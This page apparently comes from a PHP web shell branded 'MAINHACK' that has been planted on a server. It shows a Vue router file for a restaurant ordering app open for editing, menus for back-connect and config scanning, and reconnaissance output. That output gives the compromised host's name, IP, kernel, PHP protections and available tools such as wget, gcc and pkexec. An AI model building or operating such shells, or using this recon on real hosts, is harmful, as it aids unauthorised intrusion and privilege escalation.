[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
import { createRouter, createWebHistory } from "vue-router"; import ENV from '../config/env'; import appService from "../services/appService"; import DashboardComponent from "../components/admin/dashboard/DashboardComponent"; import NotFoundComponent from "../components/frontend/otherPage/NotFoundComponent"; import ExceptionComponent from "../components/frontend/otherPage/ExceptionComponent"; import store from "../store"; import authRoutes from "./modules/authRoutes"; import settingRoutes from "./modules/settingRoutes"; import offerRoutes from "./modules/offerRoutes"; import itemRoutes from "./modules/itemRoutes"; import couponRoutes from "./modules/couponRoutes"; import onlineOrderRoutes from "./modules/onlineOrderRoutes"; import pushNotificationRoutes from "./modules/pushNotificationRoutes"; import customerRoutes from "./modules/customerRoutes"; import administratorRoutes from "./modules/administratorRoutes"; import deliveryBoyRoutes from "./modules/deliveryBoyRoutes"; import employeeRoutes from "./modules/employeeRoutes"; import frontendRoutes from "./modules/frontendRoutes"; import salesReportRoutes from "./modules/salesReportRoutes"; import itemsReportRoutes from "./modules/itemsReportRoutes"; import posRoutes from "./modules/posRoutes"; import messageRoutes from "./modules/messageRoutes"; import profileRoutes from "./modules/profileRoutes"; import posOrderRoutes from "./modules/posOrderRoutes"; import transactionRoutes from "./modules/transactionRoutes"; import creditBalanceReportRoutes from "./modules/creditBalanceReportRoutes"; import tableOrderRoutes from "./modules/tableOrderRoutes"; import adminTableOrderRoutes from "./modules/adminTableOrderRoutes"; import diningTableRoutes from "./modules/diningTableRoutes"; import subscriberRoutes from "./modules/subscriberRoutes"; import kitchenDisplaySystemRoutes from "./modules/kitchenDisplaySystemRoutes"; import orderStatusScreenRoutes from "./modules/orderStatusScreenRoutes"; import waiterRoutes from "./modules/waiterRoutes"; import chefRoutes from "./modules/chefRoutes"; const baseRoutes = [ { path: "/", redirect: { name: "frontend.home" }, name: "root" }, { path: "/:pathMatch(.*)*", name: "route.notFound", component: NotFoundComponent, meta: { isFrontend: true, }, }, { path: "/exception", name: "route.exception", component: ExceptionComponent, }, { path: "/admin/dashboard", component: DashboardComponent, name: "admin.dashboard", meta: { isFrontend: false, auth: true, permissionUrl: "dashboard", breadcrumb: "dashboard", }, }, ]; export const routes = baseRoutes.concat( frontendRoutes, authRoutes, settingRoutes, offerRoutes, itemRoutes, pushNotificationRoutes, couponRoutes, onlineOrderRoutes, customerRoutes, waiterRoutes, chefRoutes, deliveryBoyRoutes, administratorRoutes, employeeRoutes, salesReportRoutes, itemsReportRoutes, messageRoutes, profileRoutes, posRoutes, posOrderRoutes, transactionRoutes, creditBalanceReportRoutes, tableOrderRoutes, adminTableOrderRoutes, diningTableRoutes, subscriberRoutes, kitchenDisplaySystemRoutes, orderStatusScreenRoutes ); const permission = store.getters.authPermission; appService.recursiveRouter(routes, permission); const API_URL = ENV.API_URL; const router = createRouter({ linkActiveClass: "active", mode: 'history', history: createWebHistory(), routes, scrollBehavior() { return { left: 0, top: 0 } } }); router.beforeEach((to, from, next) => { if (to.meta.auth === true) { if (!store.getters.authStatus) { next({ name: "auth.login" }); } else { if (to.meta.isFrontend === false) { if (to.meta.access === false) { next({ name: "route.exception", }); } else { next(); } } else { next(); } } } else if (to.name === "auth.login" && store.getters.authStatus) { next({ name: "frontend.home" }); } else { next(); } }); export default router;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002